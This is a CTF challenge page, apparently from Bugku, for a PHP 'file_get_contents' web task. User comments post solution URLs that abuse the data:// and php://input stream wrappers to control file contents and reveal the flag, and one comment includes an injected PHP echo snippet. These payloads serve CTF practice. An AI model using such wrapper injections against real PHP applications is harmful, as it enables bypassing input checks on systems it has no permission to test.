file_get_contentsWEB 未解决

分数: 30 金币: 3
题目作者: harry
一  血: npfs
一血奖励: 2金币
解  决: 5418
提  示:
描  述:
file_get_contents????
评论
ggsea 9天前

POST /?ac=flag_content&fn=php://input HTTP/1.1 Host: 160.202.254.160:11097 Content-Type: application/x-www-form-urlencoded Content-Length: 12 flag_content

回复 0

lgb 20天前

http://160.202.254.160:16626/?ac=123&fn=data://text/plain,123

回复 0

New_wl 1月前

两种解题方法 1,扫描地址得到flag.txt,内容是bugku。让$ac=$fn。?ac=bugku$fn=flag.txt 2,通过data://伪协议,可以使用任意字符串。?fn=data://text,plain,abc&ac=abc

回复 3

西红柿dun牛腩 1月前

?ac=bugku&fn=flag.txt

回复 0

西红柿dun牛腩 1月前

如果变量ac的值=fn变量指向的文件名的文件内容,就输出flag。

回复 0

icyskin 1月前

http://160.202.254.160:19133/?ac=a&fn=data://text/olain,a

回复 0

Hacker23 2月前

http://160.202.254.160:15622/?ac=%3C?php%20echo%201;?%3E&fn=data://text/plain,%3C?php%20echo%201;?%3E

回复 0

Hacker23 2月前

http://160.202.254.160:15622/?ac=hello&fn=data://text/plain,hello

回复 0

Cipher07 3月前

?ac=flag&fn=data://text/plain,flag加上就行了哦

回复 1

微笑刺客 3月前

根据题意,会把输入得内容与ac值进行比较,使用php://input伪协议控制文件内容,读取并返回一个值,然后令ac=相同得值即可直接得出flag,http://160.202.248.161:16606/?fn=data://text/plain,test&ac=test

回复 1

WriteUp

image
harry

3 金币

评分(8)

解题动态

huasan2410 攻破了该题 13小时前
yuanchu 攻破了该题 16小时前
VCD 攻破了该题 17小时前
花猫咪 攻破了该题 1天前
gm26ctf 攻破了该题 2天前
kimol 攻破了该题 3天前
nonlvyx 攻破了该题 3天前
qqai 攻破了该题 3天前
white1build 攻破了该题 4天前
lps666 攻破了该题 5天前
AWDAI 攻破了该题 5天前
yt430u 攻破了该题 5天前
wauo3 攻破了该题 5天前
niubill 攻破了该题 5天前
青春小豆 攻破了该题 5天前
Versemos 攻破了该题 6天前
ljjbit 攻破了该题 6天前
MirrorJon 攻破了该题 6天前
bzsy01 攻破了该题 6天前
遥遥相望 攻破了该题 7天前
问题反馈